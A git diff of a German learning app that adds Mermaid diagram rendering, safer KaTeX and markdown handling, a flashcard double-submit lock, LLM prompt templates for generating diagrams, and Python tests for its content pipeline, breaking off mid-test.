||||||
import { computed, nextTick, onUnmounted, ref, watch } from 'vue'
|
import { computed, nextTick, onUnmounted, ref, watch } from 'vue'
|
||||||
|
import mermaid from 'mermaid'
|
||||||
import { api } from '../api.js'
|
import { api } from '../api.js'
|
||||||
import { render, lesestat } from '../markdown.js'
|
import { render, lesestat } from '../markdown.js'
|
||||||
|
|
||||||
|
// securityLevel:'strict' → kein foreignObject/HTML-Label (umgeht DOMPurify-Filter),
|
||||||
|
// keine Klick-Handler. startOnLoad:false → wir rendern selbst nach jedem Einblenden.
|
||||||
|
mermaid.initialize({ startOnLoad: false, securityLevel: 'strict', theme: 'neutral' })
|
||||||
|
let mmId = 0
|
||||||
|
|
||||||
const props = defineProps({ topic: String, state: Object })
|
const props = defineProps({ topic: String, state: Object })
|
||||||
const daten = ref(null)
|
const daten = ref(null)
|
||||||
const level = ref('E') // Durchgang-Wahl: jede Stufe ist ein eigener Lese-Durchgang
|
const level = ref('E') // Durchgang-Wahl: jede Stufe ist ein eigener Lese-Durchgang
|
||||||
@@ -15,10 +21,14 @@ watch(fokus, (f) => document.body.classList.toggle('vollbild', f))
|
|||||||
onUnmounted(() => document.body.classList.remove('vollbild'))
|
onUnmounted(() => document.body.classList.remove('vollbild'))
|
||||||
const aktiv = ref(0)
|
const aktiv = ref(0)
|
||||||
const kapEls = []
|
const kapEls = []
|
||||||
|
const scrollEl = ref(null)
|
||||||
|
|
||||||
|
let ladeSeq = 0
|
||||||
async function laden() {
|
async function laden() {
|
||||||
if (!props.topic) return
|
if (!props.topic) { daten.value = null; return }
|
||||||
daten.value = await api.guide(props.topic)
|
const seq = ++ladeSeq
|
||||||
|
const d = await api.guide(props.topic)
|
||||||
|
if (seq === ladeSeq) daten.value = d // späte Antwort eines alten Topics verwerfen
|
||||||
}
|
}
|
||||||
watch(() => props.topic, laden, { immediate: true })
|
watch(() => props.topic, laden, { immediate: true })
|
||||||
watch(() => props.state?.run?.status, laden) // nach Lauf-Ende neu ziehen
|
watch(() => props.state?.run?.status, laden) // nach Lauf-Ende neu ziehen
|
||||||
@@ -36,6 +46,36 @@ function html(s) {
|
|||||||
return htmlCache.get(key)
|
return htmlCache.get(key)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// „Prüfe dich"-Antworten ebenfalls cachen — sonst rechnet jeder Scroll-Tick
|
||||||
|
// Markdown+KaTeX für alle sichtbaren Antworten neu (genau der Kostenpfad oben).
|
||||||
|
function htmlAntwort(s, fi) {
|
||||||
|
const key = `a|${s.baustein}|${fi}`
|
||||||
|
if (!htmlCache.has(key)) htmlCache.set(key, render(s.fragen[fi].antwort))
|
||||||
|
return htmlCache.get(key)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Mermaid rendert asynchron ins DOM — nach jedem Einblenden (Scroll/Level/Ansicht)
|
||||||
|
// die noch nicht verarbeiteten ```mermaid-Blöcke im sichtbaren Bereich rendern.
|
||||||
|
async function renderMermaid() {
|
||||||
|
await nextTick()
|
||||||
|
const wurzel = scrollEl.value
|
||||||
|
if (!wurzel) return
|
||||||
|
for (const code of wurzel.querySelectorAll('code.language-mermaid:not([data-mm])')) {
|
||||||
|
code.setAttribute('data-mm', '1')
|
||||||
|
const pre = code.closest('pre')
|
||||||
|
try {
|
||||||
|
const { svg } = await mermaid.render(`mm-${mmId++}`, code.textContent)
|
||||||
|
const figur = document.createElement('div')
|
||||||
|
figur.className = 'mermaid-figur'
|
||||||
|
figur.innerHTML = svg
|
||||||
|
pre?.replaceWith(figur)
|
||||||
|
} catch {
|
||||||
|
pre?.classList.add('mermaid-fehler') // kaputt: als Codeblock stehen lassen
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
watch([aktiv, ansicht, level, daten], renderMermaid, { flush: 'post' })
|
||||||
|
|
||||||
// Nur aktives Kapitel ±1 im DOM; der Rest ist ein Platzhalter mit Schätzhöhe
|
// Nur aktives Kapitel ±1 im DOM; der Rest ist ein Platzhalter mit Schätzhöhe
|
||||||
const sichtbar = (i) => Math.abs(i - aktiv.value) <= 1
|
const sichtbar = (i) => Math.abs(i - aktiv.value) <= 1
|
||||||
|
|
||||||
@@ -49,11 +89,13 @@ function setAnsicht(a) {
|
|||||||
ansicht.value = a
|
ansicht.value = a
|
||||||
}
|
}
|
||||||
|
|
||||||
// Nur Durchgänge anbieten, die es in diesem Thema gibt (ohne E- oder
|
// Nur Durchgänge anbieten, die WIRKLICH Inhalt haben (≥1 gefüllte Section) —
|
||||||
// S-Bausteine überspringt der Toggle die Stufe)
|
// sonst schaltet der Toggle in einen leeren Durchgang und läuft in eine Sackgasse
|
||||||
const levels = computed(() => {
|
const levels = computed(() => {
|
||||||
const da = new Set((daten.value?.kapitel || []).map((k) => k.level))
|
const kaps = daten.value?.kapitel || []
|
||||||
const folge = ['E', 'M', 'S'].filter((l) => da.has(l))
|
const hatInhalt = (l) => kaps.some((k) => k.level === l
|
||||||
|
&& k.sections.some((s) => ((s.lang || '') + (s.kompakt || '')).trim()))
|
||||||
|
const folge = ['E', 'M', 'S'].filter(hatInhalt)
|
||||||
return folge.length ? folge : ['E']
|
return folge.length ? folge : ['E']
|
||||||
})
|
})
|
||||||
watch(levels, (l) => { if (!l.includes(level.value)) level.value = l[0] })
|
watch(levels, (l) => { if (!l.includes(level.value)) level.value = l[0] })
|
||||||
@@ -74,7 +116,13 @@ const anzeige = computed(() => {
|
|||||||
}
|
}
|
||||||
return out
|
return out
|
||||||
})
|
})
|
||||||
watch([level, ansicht, daten], () => { kapEls.length = 0; aktiv.value = 0 })
|
watch([level, ansicht, daten], () => {
|
||||||
|
kapEls.length = 0
|
||||||
|
aktiv.value = 0
|
||||||
|
// Scrollposition zurücksetzen — sonst steht der Viewport nach dem Wechsel
|
||||||
|
// mitten in Platzhalter-Divs (echter Inhalt nur oben) und wirkt leer.
|
||||||
|
nextTick(() => { if (scrollEl.value) scrollEl.value.scrollTop = 0 })
|
||||||
|
})
|
||||||
|
|
||||||
// Lesezeit des SICHTBAREN Umfangs: 150 Wörter/min (technischer Text)
|
// Lesezeit des SICHTBAREN Umfangs: 150 Wörter/min (technischer Text)
|
||||||
// + 5 s je Display-Formel (Medium ~265 wpm gilt nicht für Mathe)
|
// + 5 s je Display-Formel (Medium ~265 wpm gilt nicht für Mathe)
|
||||||
@@ -121,7 +169,7 @@ function onScroll(e) {
|
|||||||
|
|
||||||
<template>
|
<template>
|
||||||
<div class="guide-layout" :class="{ fokus }">
|
<div class="guide-layout" :class="{ fokus }">
|
||||||
<nav v-if="anzeige.length" class="guide-nav">
|
<nav v-if="daten" class="guide-nav">
|
||||||
<div class="schalter-zeile">
|
<div class="schalter-zeile">
|
||||||
<div class="schalter">
|
<div class="schalter">
|
||||||
<button :class="{ aktiv: ansicht === 'erklaerend' }" title="ausführlich (viel Text)"
|
<button :class="{ aktiv: ansicht === 'erklaerend' }" title="ausführlich (viel Text)"
|
||||||
@@ -154,7 +202,7 @@ function onScroll(e) {
|
|||||||
<span class="zeit">{{ zeit(stats.je[i]?.minuten || 0) }}</span>
|
<span class="zeit">{{ zeit(stats.je[i]?.minuten || 0) }}</span>
|
||||||
</a>
|
</a>
|
||||||
</nav>
|
</nav>
|
||||||
<div class="seite guide-text" @scroll="onScroll">
|
<div ref="scrollEl" class="seite guide-text" @scroll="onScroll">
|
||||||
<button v-if="fokus" class="fokus-aus" title="Fokus beenden"
|
<button v-if="fokus" class="fokus-aus" title="Fokus beenden"
|
||||||
@click="fokus = false">✕</button>
|
@click="fokus = false">✕</button>
|
||||||
<template v-if="daten">
|
<template v-if="daten">
|
||||||
@@ -175,7 +223,7 @@ function onScroll(e) {
|
|||||||
<summary>Antworten zu „Prüfe dich"</summary>
|
<summary>Antworten zu „Prüfe dich"</summary>
|
||||||
<div v-for="(f, fi) in s.fragen" :key="fi" class="antwort">
|
<div v-for="(f, fi) in s.fragen" :key="fi" class="antwort">
|
||||||
<div class="frage">{{ f.frage }}</div>
|
<div class="frage">{{ f.frage }}</div>
|
||||||
<div v-html="render(f.antwort)"></div>
|
<div v-html="htmlAntwort(s, fi)"></div>
|
||||||
</div>
|
</div>
|
||||||
</details>
|
</details>
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
@@ -6,7 +6,7 @@ const props = defineProps({ run: Object })
|
|||||||
const daten = ref(null)
|
const daten = ref(null)
|
||||||
|
|
||||||
async function laden() {
|
async function laden() {
|
||||||
if (!props.run) return
|
if (!props.run) { daten.value = null; return } // sonst bleiben Alt-Daten stehen
|
||||||
daten.value = await api.kennzahlen(props.run.id)
|
daten.value = await api.kennzahlen(props.run.id)
|
||||||
}
|
}
|
||||||
watch(() => props.run?.id, laden, { immediate: true })
|
watch(() => props.run?.id, laden, { immediate: true })
|
||||||
|
|||||||
@@ -7,6 +7,7 @@ const props = defineProps({ topic: String })
|
|||||||
const stapel = ref([])
|
const stapel = ref([])
|
||||||
const zeigeAntwort = ref(false)
|
const zeigeAntwort = ref(false)
|
||||||
const fertigGelernt = ref(0)
|
const fertigGelernt = ref(0)
|
||||||
|
const sende = ref(false) // Doppelklick-Sperre: sonst POSTet die Karte zweimal
|
||||||
|
|
||||||
async function laden() {
|
async function laden() {
|
||||||
if (!props.topic) return
|
if (!props.topic) return
|
||||||
@@ -17,11 +18,17 @@ async function laden() {
|
|||||||
watch(() => props.topic, laden, { immediate: true })
|
watch(() => props.topic, laden, { immediate: true })
|
||||||
|
|
||||||
async function antworten(richtig) {
|
async function antworten(richtig) {
|
||||||
|
if (sende.value) return
|
||||||
|
sende.value = true
|
||||||
|
try {
|
||||||
const karte = stapel.value[0]
|
const karte = stapel.value[0]
|
||||||
await api.antwort(karte.id, richtig)
|
await api.antwort(karte.id, richtig)
|
||||||
stapel.value = richtig ? stapel.value.slice(1) : [...stapel.value.slice(1), karte]
|
stapel.value = richtig ? stapel.value.slice(1) : [...stapel.value.slice(1), karte]
|
||||||
if (richtig) fertigGelernt.value++
|
if (richtig) fertigGelernt.value++
|
||||||
zeigeAntwort.value = false
|
zeigeAntwort.value = false
|
||||||
|
} finally {
|
||||||
|
sende.value = false
|
||||||
|
}
|
||||||
}
|
}
|
||||||
</script>
|
</script>
|
||||||
|
|
||||||
@@ -36,8 +43,10 @@ async function antworten(richtig) {
|
|||||||
<template v-else>
|
<template v-else>
|
||||||
<div class="antwort markdown" v-html="render(stapel[0].inhalt.antwort)"></div>
|
<div class="antwort markdown" v-html="render(stapel[0].inhalt.antwort)"></div>
|
||||||
<div style="display: flex; gap: 10px; justify-content: center">
|
<div style="display: flex; gap: 10px; justify-content: center">
|
||||||
<button style="background: var(--gruen)" @click="antworten(true)">Richtig</button>
|
<button style="background: var(--gruen)" :disabled="sende"
|
||||||
<button style="background: var(--rot)" @click="antworten(false)">Falsch</button>
|
@click="antworten(true)">Richtig</button>
|
||||||
|
<button style="background: var(--rot)" :disabled="sende"
|
||||||
|
@click="antworten(false)">Falsch</button>
|
||||||
</div>
|
</div>
|
||||||
</template>
|
</template>
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
@@ -27,39 +27,49 @@ function kx(tex, displayMode) {
|
|||||||
.replace(/\n/g, ' ')
|
.replace(/\n/g, ' ')
|
||||||
}
|
}
|
||||||
|
|
||||||
function mathe(text) {
|
// Formeln VOR dem Markdown-Pass ausheben und durch Platzhalter ersetzen. Sonst
|
||||||
// $$…$$/\\[…\\] (Display) und $…$/\\(…\\) (Inline) vor dem Markdown-Pass rendern
|
// lecken die rohen TeX-Zeichen (*, _, ^) aus den MathML-Annotationen des
|
||||||
return text
|
// gerenderten KaTeX in marked — z. B. zwei „$\Sigma^*$" machen den Text
|
||||||
.replace(/\$\$([\s\S]+?)\$\$/g, (_, tex) => {
|
// dazwischen kursiv. Nach dem Markdown-Pass die Formeln wieder einsetzen.
|
||||||
try { return kx(tex, true) } catch { return _ }
|
function mathAusheben(text) {
|
||||||
})
|
const formeln = []
|
||||||
.replace(/\\\[([\s\S]+?)\\\]/g, (_, tex) => {
|
const platz = (roh, tex, display) => {
|
||||||
try { return kx(tex, true) } catch { return _ }
|
let html
|
||||||
})
|
try { html = kx(tex, display) } catch { html = roh } // KaTeX-Fehler: Rohtext behalten
|
||||||
.replace(/\$([^$\n]+?)\$/g, (_, tex) => {
|
formeln.push(html)
|
||||||
try { return kx(tex, false) } catch { return _ }
|
return `@@MATH${formeln.length - 1}@@`
|
||||||
})
|
}
|
||||||
.replace(/\\\(([\s\S]+?)\\\)/g, (_, tex) => {
|
const t = text
|
||||||
try { return kx(tex, false) } catch { return _ }
|
.replace(/\$\$([\s\S]+?)\$\$/g, (m, tex) => platz(m, tex, true))
|
||||||
})
|
.replace(/\\\[([\s\S]+?)\\\]/g, (m, tex) => platz(m, tex, true))
|
||||||
|
.replace(/\$([^$\n]+?)\$/g, (m, tex) => platz(m, tex, false))
|
||||||
|
.replace(/\\\(([\s\S]+?)\\\)/g, (m, tex) => platz(m, tex, false))
|
||||||
|
return { t, formeln }
|
||||||
}
|
}
|
||||||
|
|
||||||
export function render(text) {
|
export function render(text) {
|
||||||
return DOMPurify.sanitize(marked.parse(mathe(text || '')))
|
const { t, formeln } = mathAusheben(text || '')
|
||||||
|
const html = marked.parse(t).replace(/@@MATH(\d+)@@/g, (_, i) => formeln[Number(i)] ?? '')
|
||||||
|
return DOMPurify.sanitize(html)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Atom-Marker sind eine unsichtbare Backend-Schnittstelle — vor der Anzeige
|
// Atom-Marker sind eine unsichtbare Backend-Schnittstelle — vor der Anzeige
|
||||||
// ausblenden. Die Stufen-Trennung passiert seit dem Umbau über getrennte
|
// ausblenden. non-greedy statt [^>]*, damit ein „>" im Atom-Titel den Match
|
||||||
// Bausteine je Level, nicht mehr über Marker-Filterung im Text.
|
// nicht abschneidet (spiegelt backend/guide.py _MARKER_VOLL).
|
||||||
const MARKER = /<!--\s*atom:[^>]*-->/g
|
const MARKER = /<!--\s*atom:.*?-->/g
|
||||||
|
|
||||||
// Wortzahl + Display-Formeln des sichtbaren Texts (für die Lesezeit-Schätzung)
|
// Wortzahl + Display-Formeln des sichtbaren Texts (für die Lesezeit-Schätzung).
|
||||||
|
// Alle vier Formel-Delimiter wie in mathe() behandeln — sonst zählte eine
|
||||||
|
// \[…\]-Display-Formel als Wörter und die +5-s-Pauschale fiel weg.
|
||||||
export function lesestat(text) {
|
export function lesestat(text) {
|
||||||
let displayFormeln = 0
|
let displayFormeln = 0
|
||||||
const t = (text || '')
|
const t = (text || '')
|
||||||
|
.replace(/```mermaid[\s\S]*?```/g, ' ') // Diagramm-Quelltext zählt nicht als Text
|
||||||
.replace(MARKER, ' ')
|
.replace(MARKER, ' ')
|
||||||
.replace(/\$\$[\s\S]+?\$\$/g, () => { displayFormeln += 1; return ' ' })
|
.replace(/\$\$[\s\S]+?\$\$/g, () => { displayFormeln += 1; return ' ' })
|
||||||
|
.replace(/\\\[[\s\S]+?\\\]/g, () => { displayFormeln += 1; return ' ' })
|
||||||
.replace(/\$[^$\n]+?\$/g, ' Formel ')
|
.replace(/\$[^$\n]+?\$/g, ' Formel ')
|
||||||
|
.replace(/\\\([\s\S]+?\\\)/g, ' Formel ')
|
||||||
const woerter = t.split(/\s+/).filter(Boolean).length
|
const woerter = t.split(/\s+/).filter(Boolean).length
|
||||||
return { woerter, displayFormeln }
|
return { woerter, displayFormeln }
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -222,7 +222,9 @@ body.nav-zu .hauptbereich { padding-top: 38px; }
|
|||||||
padding: 16px 22px; margin-bottom: 16px;
|
padding: 16px 22px; margin-bottom: 16px;
|
||||||
}
|
}
|
||||||
.guide-section .ziel { color: var(--akzent); font-size: 13px; }
|
.guide-section .ziel { color: var(--akzent); font-size: 13px; }
|
||||||
.markdown .katex-display { overflow-x: auto; overflow-y: hidden; padding: 4px 0; }
|
:is(.markdown, .kompakt) .katex-display { overflow-x: auto; overflow-y: hidden; padding: 4px 0; }
|
||||||
|
.mermaid-figur { overflow-x: auto; text-align: center; margin: 16px 0; }
|
||||||
|
.mermaid-figur svg { max-width: 100%; height: auto; }
|
||||||
.markdown blockquote {
|
.markdown blockquote {
|
||||||
margin: 12px 0; padding: 8px 14px; border-left: 3px solid var(--akzent);
|
margin: 12px 0; padding: 8px 14px; border-left: 3px solid var(--akzent);
|
||||||
background: var(--karte); border-radius: 0 6px 6px 0; color: var(--text);
|
background: var(--karte); border-radius: 0 6px 6px 0; color: var(--text);
|
||||||
@@ -248,7 +250,7 @@ table.kennzahlen th:first-child, table.kennzahlen td:first-child { text-align: l
|
|||||||
table.kennzahlen th { color: var(--dim); }
|
table.kennzahlen th { color: var(--dim); }
|
||||||
|
|
||||||
/* ── Mobil (≤768px): Navigationen als Drawer, Board mit Spalten-Snap ────────── */
|
/* ── Mobil (≤768px): Navigationen als Drawer, Board mit Spalten-Snap ────────── */
|
||||||
.markdown .katex { max-width: 100%; overflow-x: auto; overflow-y: hidden; }
|
:is(.markdown, .kompakt) .katex { max-width: 100%; overflow-x: auto; overflow-y: hidden; }
|
||||||
@media (max-width: 768px) {
|
@media (max-width: 768px) {
|
||||||
.sidebar, .guide-nav {
|
.sidebar, .guide-nav {
|
||||||
position: fixed; top: 0; bottom: 0; left: 0; z-index: 30;
|
position: fixed; top: 0; bottom: 0; left: 0; z-index: 30;
|
||||||
|
|||||||
22
templates/Diagramm-Plan.md
Normal file
22
templates/Diagramm-Plan.md
Normal file
@@ -0,0 +1,22 @@
|
|||||||
|
<!-- template:Diagramm-Plan -->
|
||||||
|
Entscheide, ob der Baustein „{titel}" ein Diagramm braucht.
|
||||||
|
Durchgang: {durchgang}.
|
||||||
|
|
||||||
|
Ein Diagramm hilft NUR, wenn es Struktur oder Ablauf zeigt, den reiner Text teuer
|
||||||
|
erklärt: Zustandsübergänge/Automaten, Abläufe/Verfahren, Baum-/Hierarchie-Strukturen.
|
||||||
|
Es schadet, wenn es bloß wiederholt, was ein Satz schon sagt (Redundanz), oder nur
|
||||||
|
schmückt. Im dritten Durchgang (Feinheiten) sparsam.
|
||||||
|
|
||||||
|
Nachbar-Bausteine (nicht dieselbe Relation doppeln):
|
||||||
|
{nachbarn}
|
||||||
|
|
||||||
|
Wähle den Typ:
|
||||||
|
- state: Automat / Zustandsübergänge.
|
||||||
|
- flow: Ablauf / Verfahren / Schritte.
|
||||||
|
- tree: Hierarchie / Baum / Zerlegung.
|
||||||
|
|
||||||
|
ATOME:
|
||||||
|
{atome}
|
||||||
|
|
||||||
|
Antworte NUR mit JSON (keine Code-Fences):
|
||||||
|
{{"noetig": true, "typ": "state"}}
|
||||||
20
templates/Diagramm-Spec.md
Normal file
20
templates/Diagramm-Spec.md
Normal file
@@ -0,0 +1,20 @@
|
|||||||
|
<!-- template:Diagramm-Spec -->
|
||||||
|
Beschreibe die STRUKTUR eines {typ}-Diagramms für den Baustein „{titel}".
|
||||||
|
Schreibe KEIN Mermaid, KEINEN Code — nur die Struktur als JSON. Ein Programm
|
||||||
|
kompiliert daraus das Diagramm.
|
||||||
|
|
||||||
|
Regeln (hart):
|
||||||
|
- NUR Konzepte/Zustände/Schritte aus den ATOMEN unten. Nichts erfinden, nichts
|
||||||
|
dazurecherchieren — jeder Knoten muss aus einem Atom ableitbar sein.
|
||||||
|
- „knoten": kurze Labels (1–4 Wörter), auf Deutsch.
|
||||||
|
- „kanten": „von"/„zu" verweisen auf „id"-Werte aus „knoten"; „label" optional
|
||||||
|
(kurze Kantenbeschriftung, z. B. das auslösende Symbol beim Automaten).
|
||||||
|
- Klein und lesbar halten: nur die tragende Struktur, keine Vollständigkeit um
|
||||||
|
jeden Preis.
|
||||||
|
|
||||||
|
ATOME:
|
||||||
|
{atome}
|
||||||
|
|
||||||
|
Antworte NUR mit JSON (keine Code-Fences):
|
||||||
|
{{"typ": "{typ}", "knoten": [{{"id": "q0", "label": "Startzustand"}}],
|
||||||
|
"kanten": [{{"von": "q0", "zu": "q1", "label": "a"}}]}}
|
||||||
21
templates/Diagramm-Verify.md
Normal file
21
templates/Diagramm-Verify.md
Normal file
@@ -0,0 +1,21 @@
|
|||||||
|
<!-- template:Diagramm-Verify -->
|
||||||
|
Prüfe das Diagramm GEGEN DIE ATOME. Ist es fachlich korrekt und vollständig aus
|
||||||
|
den Atomen ableitbar?
|
||||||
|
|
||||||
|
ok=false, wenn:
|
||||||
|
- ein Knoten/Zustand/Schritt vorkommt, der in keinem Atom steht (erfunden),
|
||||||
|
- die dargestellten Beziehungen/Übergänge den Atomen widersprechen,
|
||||||
|
- die tragende Struktur des Themas fehlt oder verdreht ist.
|
||||||
|
|
||||||
|
ok=true bei kleinen Vereinfachungen (Weglassen von Randfällen ist erlaubt).
|
||||||
|
Layout/Ästhetik ist KEIN Mangel — nur inhaltliche Korrektheit zählt.
|
||||||
|
Bei ok=false: „mangel" = ein konkreter, behebbarer Satz.
|
||||||
|
|
||||||
|
ATOME:
|
||||||
|
{atome}
|
||||||
|
|
||||||
|
DIAGRAMM (Mermaid):
|
||||||
|
{mermaid}
|
||||||
|
|
||||||
|
Antworte NUR mit JSON (keine Code-Fences):
|
||||||
|
[{{"ok": true, "mangel": ""}}]
|
||||||
@@ -63,6 +63,14 @@ Regeln (hart):
|
|||||||
7. Keine Vorgriffe auf Stoff, der nicht in den Atomen unten steht — auch nicht
|
7. Keine Vorgriffe auf Stoff, der nicht in den Atomen unten steht — auch nicht
|
||||||
auf spätere Durchgänge. Unbekannte Begriffe beim ersten Auftreten kurz mit
|
auf spätere Durchgänge. Unbekannte Begriffe beim ersten Auftreten kurz mit
|
||||||
Bekanntem einordnen, nie vertrösten („dazu später mehr" ist VERBOTEN).
|
Bekanntem einordnen, nie vertrösten („dazu später mehr" ist VERBOTEN).
|
||||||
|
8. DIAGRAMME: Unten stehen fertige Diagramme (Marker + Beschreibung). Setze den
|
||||||
|
passenden `<!-- diagramm: id -->`-Marker in eine EIGENE Zeile direkt bei dem
|
||||||
|
Absatz, der die gezeigte Relation einführt (Nähe zum Text). Nur die
|
||||||
|
angebotenen Marker verwenden, keine erfinden, jeden höchstens einmal. Passt
|
||||||
|
ein Diagramm nicht zum Fluss, lass seinen Marker weg. „(keine)" → ignorieren.
|
||||||
|
|
||||||
|
VERFÜGBARE DIAGRAMME:
|
||||||
|
{diagramme}
|
||||||
|
|
||||||
ATOME:
|
ATOME:
|
||||||
{atome}
|
{atome}
|
||||||
|
|||||||
@@ -27,6 +27,43 @@ def test_referenz_muster_trifft_nur_referenzen():
|
|||||||
assert not any(artefakte._referenziert_quelle(k) for k in gut)
|
assert not any(artefakte._referenziert_quelle(k) for k in gut)
|
||||||
|
|
||||||
|
|
||||||
|
async def test_nur_ohne_sieht_fehlende_flashcard():
|
||||||
|
"""Ein lebendes Beispiel darf die Flashcard-Nachgenerierung nicht blockieren."""
|
||||||
|
topic = topic_anlegen("fcfehlt")
|
||||||
|
a = db.insert("atome", topic=topic, titel="X", typ="begriff", definition="d",
|
||||||
|
status="neu", soll_id=1, braucht=db.j([]))
|
||||||
|
b = db.insert("atome", topic=topic, titel="Y", typ="begriff", definition="d",
|
||||||
|
status="neu", soll_id=1, braucht=db.j([]))
|
||||||
|
# a: nur ein Beispiel, keine Flashcard → muss nachgeneriert werden
|
||||||
|
db.insert("artefakte", atom_id=a, typ="beispiel", status="verifiziert",
|
||||||
|
inhalt=db.j({"text": "Beispiel"}))
|
||||||
|
# b: verifizierte Flashcard → versorgt, nicht mehr in nur_ohne
|
||||||
|
db.insert("artefakte", atom_id=b, typ="flashcard", status="verifiziert",
|
||||||
|
inhalt=db.j({"frage": "F", "antwort": "A"}))
|
||||||
|
ids = [x["id"] for c in artefakte._chunks(topic, nur_ohne=True) for x in c]
|
||||||
|
assert ids == [a]
|
||||||
|
|
||||||
|
|
||||||
|
async def test_reverify_ausfall_laesst_kandidat(monkeypatch):
|
||||||
|
"""Re-Verify-Ausfall (kein Urteil zur id) → Kandidat bleibt, nicht verworfen."""
|
||||||
|
import fake_agents
|
||||||
|
topic = topic_anlegen("reverify")
|
||||||
|
run = run_anlegen(topic)
|
||||||
|
a = db.insert("atome", topic=topic, titel="X", typ="begriff", definition="d",
|
||||||
|
status="neu", braucht=db.j([]))
|
||||||
|
k = db.insert("artefakte", atom_id=a, typ="flashcard", status="kandidat",
|
||||||
|
inhalt=db.j({"frage": "Was ist X?", "antwort": "Y", "text": ""}))
|
||||||
|
# Fix liefert saubere Karte; Re-Verify antwortet ohne Eintrag zur id → kein Urteil
|
||||||
|
monkeypatch.setitem(fake_agents._HANDLER, "Artefakt-Fix",
|
||||||
|
lambda p: {"frage": "Was ist X?", "antwort": "Y", "text": ""})
|
||||||
|
monkeypatch.setitem(fake_agents._HANDLER, "Artefakt-Verify", lambda p: [])
|
||||||
|
ctx = llm.Kontext(run, topic, "minimax")
|
||||||
|
ctx.ebene = "artefakte"
|
||||||
|
await artefakte._fixen(ctx, db.one("SELECT * FROM artefakte WHERE id=?", (k,)),
|
||||||
|
["mangel"], {"id": a})
|
||||||
|
assert db.one("SELECT status FROM artefakte WHERE id=?", (k,))["status"] == "kandidat"
|
||||||
|
|
||||||
|
|
||||||
async def test_guard_verwirft_kandidat_und_repair_kann_nachlegen():
|
async def test_guard_verwirft_kandidat_und_repair_kann_nachlegen():
|
||||||
topic = topic_anlegen("guard")
|
topic = topic_anlegen("guard")
|
||||||
run = run_anlegen(topic)
|
run = run_anlegen(topic)
|
||||||
|
|||||||
@@ -245,6 +245,110 @@ async def test_fix_fehlschlag_behaelt_befunde(monkeypatch):
|
|||||||
assert db.uj(sec["befunde"]) == ["Behebe (x): y"] # Aufträge bleiben sichtbar
|
assert db.uj(sec["befunde"]) == ["Behebe (x): y"] # Aufträge bleiben sichtbar
|
||||||
|
|
||||||
|
|
||||||
|
def test_marker_titel_erzeugen_keine_auftraege():
|
||||||
|
"""Atom-Titel im Marker (a_n, A*-Suche) dürfen keine Mathe-/Stil-Aufträge
|
||||||
|
erzeugen — der Fix darf Marker nie ändern, das wäre ein Endlos-Loop."""
|
||||||
|
import db
|
||||||
|
import guide
|
||||||
|
from conftest import topic_anlegen
|
||||||
|
topic = topic_anlegen("markerimmun")
|
||||||
|
ziel = db.insert("lernziele", topic=topic, text="Kann X", status="aktiv")
|
||||||
|
b_id = db.insert("bausteine", topic=topic, ziel_id=ziel, titel="B", ord=0, status="neu")
|
||||||
|
a1 = db.insert("atome", topic=topic, titel="Folge a_n", typ="begriff", definition="d",
|
||||||
|
status="neu", baustein_id=b_id, braucht=db.j([]))
|
||||||
|
a2 = db.insert("atome", topic=topic, titel="A*-Suche", typ="begriff", definition="d",
|
||||||
|
status="neu", baustein_id=b_id, braucht=db.j([]))
|
||||||
|
lang = (f"<!-- atom: {a1} | Folge a_n -->\n<!-- atom: {a2} | A*-Suche -->\n"
|
||||||
|
+ "Sauberer Fließtext ohne Formeln. " * 12)
|
||||||
|
joined = " ".join(guide._det_auftraege(topic, {"id": b_id, "ord": 0}, lang, ""))
|
||||||
|
assert "a_n" not in joined and "A*" not in joined
|
||||||
|
assert "Formel" not in joined and "$-Zeichen" not in joined and "2^" not in joined
|
||||||
|
|
||||||
|
|
||||||
|
def test_persistieren_dedup_mit_detail():
|
||||||
|
"""Mehrere Befunde gleicher (art,item) mit verschiedenem detail = je eine Zeile."""
|
||||||
|
import db
|
||||||
|
import llm
|
||||||
|
import qa
|
||||||
|
from conftest import run_anlegen, topic_anlegen
|
||||||
|
topic = topic_anlegen("persist")
|
||||||
|
ctx = llm.Kontext(run_anlegen(topic), topic, "minimax")
|
||||||
|
qa._persistieren(ctx, "guide", [{"art": "det_check", "item": "5", "detail": "A"},
|
||||||
|
{"art": "det_check", "item": "5", "detail": "B"}])
|
||||||
|
assert len(db.query("SELECT id FROM befunde WHERE status='offen'")) == 2
|
||||||
|
qa._persistieren(ctx, "guide", [{"art": "det_check", "item": "5", "detail": "A"}])
|
||||||
|
stat = {(b["detail"], b["status"]) for b in db.query("SELECT detail, status FROM befunde")}
|
||||||
|
assert ("A", "offen") in stat and ("B", "repariert") in stat
|
||||||
|
|
||||||
|
|
||||||
|
async def test_fix_offen_in_messen():
|
||||||
|
"""Gescheiterter Fix (stage done, Rest-Aufträge) passiert das Gate nicht mehr."""
|
||||||
|
import db
|
||||||
|
import guide
|
||||||
|
import llm
|
||||||
|
from conftest import run_anlegen, topic_anlegen
|
||||||
|
topic = topic_anlegen("fixoffen")
|
||||||
|
ziel = db.insert("lernziele", topic=topic, text="Kann X", status="aktiv")
|
||||||
|
b_id = db.insert("bausteine", topic=topic, ziel_id=ziel, titel="B", ord=0, status="neu")
|
||||||
|
a = db.insert("atome", topic=topic, titel="A", typ="begriff", definition="d",
|
||||||
|
status="neu", baustein_id=b_id, braucht=db.j([]))
|
||||||
|
lang = f"<!-- atom: {a} | A -->\n" + "Wort " * 60
|
||||||
|
db.insert("sections", baustein_id=b_id, stage="done", text_lang=lang,
|
||||||
|
text_kompakt="- p", befunde=db.j(["KRITISCH (luecke): Atom-Inhalt fehlt"]))
|
||||||
|
ctx = llm.Kontext(run_anlegen(topic), topic, "minimax")
|
||||||
|
ctx.ebene = "guide"
|
||||||
|
assert "fix_offen" in {b["art"] for b in guide.messen(ctx)}
|
||||||
|
|
||||||
|
|
||||||
|
async def test_reparieren_bewegt_false_bei_identischem_text(monkeypatch):
|
||||||
|
"""Fix ändert den Text nicht → reparieren meldet ehrlich False (Stillstand)."""
|
||||||
|
import db
|
||||||
|
import fake_agents
|
||||||
|
import guide
|
||||||
|
import llm
|
||||||
|
from conftest import run_anlegen, topic_anlegen
|
||||||
|
topic = topic_anlegen("bewegt")
|
||||||
|
run = run_anlegen(topic)
|
||||||
|
